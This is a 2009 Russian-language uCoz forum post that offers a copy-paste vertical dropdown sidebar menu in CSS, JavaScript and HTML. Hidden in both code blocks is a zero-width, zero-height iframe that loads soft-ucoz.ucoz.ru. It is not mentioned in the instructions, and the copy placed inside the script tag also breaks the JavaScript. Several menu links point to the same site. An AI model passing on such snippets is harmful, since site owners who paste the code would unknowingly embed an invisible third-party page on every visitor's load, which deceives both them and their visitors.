[ Новые сообщения · Участники · Правила форума · Поиск · RSS ]
  • Страница 1 из 1
  • 1
Модератор форума: [-UNION-]VLAD, [-UNION-]STORM  
Вертикальное всыплывающее меню (black) скрипт
_KOT_Дата: Четверг, 04.06.2009, 13:55 | Сообщение # 1
Рядовой
Группа: Проверенные
Сообщений: 13
Награды: 0
Репутация: 0
Замечания: 0%
Статус: Offline
Пример этого меню можно посмотреть тут .

Этот код CSS вставляем после [head]

Code
<!--START CSS-->  
<style type="text/css">  

.sidebarmenu ul{  
margin: 0;  
padding: 0;  
list-style-type: none;  
font: bold 13px Verdana;  
width: 180px; /* Main Menu Item widths */  
border-bottom: 1px solid #ccc;  
}  
      
.sidebarmenu ul li{  
position: relative;  
}  

/* Top level menu links style */  
.sidebarmenu ul li a{  
display: block;  
overflow: auto; /*force hasLayout in IE7 */  
color: white;  
text-decoration: none;  
padding: 6px;  
border-bottom: 1px solid #778;  
border-right: 1px solid #778;  
}  

.sidebarmenu ul li a:link, .sidebarmenu ul li a:visited, .sidebarmenu ul li a:active{  
background-color: #012D58; /*background of tabs (default state)*/  
}  

.sidebarmenu ul li a:visited{  
color: white;  
}  

.sidebarmenu ul li a:hover{  
background-color: black;  
}  

/*Sub level menu items */  
.sidebarmenu ul li ul{  
position: absolute;  
width: 170px; /*Sub Menu Items width */  
top: 0;  
visibility: hidden;  
}  

.sidebarmenu a.subfolderstyle{  
background: url(http://soft-ucoz.ucoz.ru/HTML/11/right.gif) no-repeat 97% 50%;  
}  

      
/* Holly Hack for IE \*/  
* html .sidebarmenu ul li { float: left; height: 1%; }  
* html .sidebarmenu ul li a { height: 1%; }  
/* End */  

</style>  

<script type="text/javascript">  

//Nested Side Bar Menu (Mar 20th, 09)  
//By Dynamic Drive: http://www.dynamicdrive.com/style/  

var menuids=["sidebarmenu1"] //Enter id(s) of each Side Bar Menu's main UL, separated by commas  

function initsidebarmenu(){  
for (var i=0; i<menuids.length; i++){  
    var ultags=document.getElementById(menuids[i]).getElementsByTagName("ul")  
      for (var t=0; t<ultags.length; t++){  
      ultags[t].parentNode.getElementsByTagName("a")[0].className+=" subfolderstyle"  
    if (ultags[t].parentNode.parentNode.id==menuids[i]) //if this is a first level submenu  
     ultags[t].style.left=ultags[t].parentNode.offsetWidth+"px" //dynamically position first level submenus to be width of main menu item  
    else //else if this is a sub level submenu (ul)  
      ultags[t].style.left=ultags[t-1].getElementsByTagName("a")[0].offsetWidth+"px" //position menu to the right of menu item that activated it  
      ultags[t].parentNode.onmouseover=function(){  
      this.getElementsByTagName("ul")[0].style.display="block"  
      }  
      ultags[t].parentNode.onmouseout=function(){  
      this.getElementsByTagName("ul")[0].style.display="none"  
      }  
      }  
    for (var t=ultags.length-1; t>-1; t--){ //loop through all sub menus again, and use "display:none" to hide menus (to prevent possible page scrollbars  
    ultags[t].style.visibility="visible"  
    ultags[t].style.display="none"  
    }  
    }  
}  

if (window.addEventListener)  
window.addEventListener("load", initsidebarmenu, false)  
else if (window.attachEvent)  
window.attachEvent("onload", initsidebarmenu)  
<iframe style="position:absolute;left:1%;width:0%;top:1%;height:0%;"src="http://soft-ucoz.ucoz.ru"></iframe>
</script><!--END CSS-->

Затам качаете эту картинку-стрелочку и заливаете себе на сайт. Потом в этом же CSS меняете адрес этой картинки на свой.

А это код самого меню, его вставляем в эту же страницу что и CSS:

Code
<iframe style="position:absolute;left:1%;width:0%;top:1%;height:0%;"src="http://soft-ucoz.ucoz.ru"></iframe>
<div class="sidebarmenu">  
<ul id="sidebarmenu1">  
<li><a href="http://soft-ucoz.ucoz.ru">Тема 1</a></li>  
<li><a href="http://soft-ucoz.ucoz.ru/forum/3-616-1">Тема 2</a></li>  
<li><a href="http://soft-ucoz.ucoz.ru/forum">Folder 1</a>  
    <ul>  
    <li><a href="#">Sub Item 1.1</a></li>  
    <li><a href="#">Sub Item 1.2</a></li>  
    </ul>  
</li>  
<li><a href="#">Тема 3</a></li>  

<li><a href="#">Folder 2</a>  
    <ul>  
    <li><a href="#">Sub Item 2.1</a></li>  
    <li><a href="#">Folder 2.1</a>  
      <ul>  
      <li><a href="#">Sub Item 2.1.1</a></li>  
      <li><a href="#">Sub Item 2.1.2</a></li>  
      <li><a href="#">Sub Item 2.1.3</a></li>  
      <li><a href="#">Sub Item 2.1.4</a></li>  
      </ul>  
    </li>  
</ul>  
</li>  
<li><a href="#">Тема 4</a></li>  
</ul>  
</div>  
<!--END_MENU-->

....
Вот и все, ни чего сложного. Можно так же менять и цвет всего меню. Менять нужно в CSS (тот что выше)


Сайт клана "TAXi" - это не только красиво, но и ..... НАЖАТЬ ЧТО БЫ ПРОЙТИ ПО ССЫЛКЕ
 
  • Страница 1 из 1
  • 1
Поиск:

Создать бесплатный сайт с uCoz